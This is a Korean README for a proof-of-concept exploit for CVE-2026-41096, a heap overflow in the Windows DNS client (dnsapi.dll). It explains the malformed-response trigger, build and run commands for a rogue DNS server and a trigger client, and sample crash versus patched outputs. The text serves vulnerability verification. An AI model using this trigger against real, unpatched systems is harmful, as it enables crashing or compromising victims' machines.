
CVE-2026-41096에 대한 개념 증명 익스플로잇: Windows DNS 클라이언트의 DnsRawTruncateMessageForUdp()에서 발생하는 힙 오버플로. 취약점 확인을 위한 악성 DNS 서버와 트리거 클라이언트를 포함합니다.
DnsRawTruncateMessageForUdp()(dnsapi.dll)의 힙 오버플로입니다. QDCOUNT=0과 대용량 OPT 레코드가 포함된 조작된 DNS 응답은 truncation 로직이 대상 포인터를 잘못 계산할 때 604바이트 힙 오버플로를 유발합니다.
MSRC 보안 권고: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| 파일 | 설명 |
|---|---|
rogue_dns_server.py | 로그 DNS 서버(Python 3). 모든 쿼리에 QDCOUNT=0 + OPT 응답(623바이트)으로 응답합니다. |
trigger_client.c | 트리거 클라이언트(C/Win32). 로그 서버를 대상으로 DnsQueryRaw를 호출합니다. SetUnhandledExceptionFilter를 통해 크래시를 포착합니다. |
공격자(로그 서버):
피해자(트리거 클라이언트):
DnsQueryRaw 필요)dnsapi.dll1. 로그 서버 시작:
sudo python3 rogue_dns_server.py
2. 트리거 클라이언트 빌드 및 실행:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (선택 사항) 결정적 크래시를 위해 Page Heap 활성화:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| 코드 | 의미 |
|---|---|
| 0 | 시스템이 패치됨(DNS_ERROR_BAD_PACKET이 정상적으로 반환됨) |
| 1 | 오류(DnsQueryRaw를 찾을 수 없음, 네트워크 문제 등) |
| 2 | 크래시 감지(힙 오버플로 확인됨) |
취약(Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
취약(Page Heap 없음):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
패치됨:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.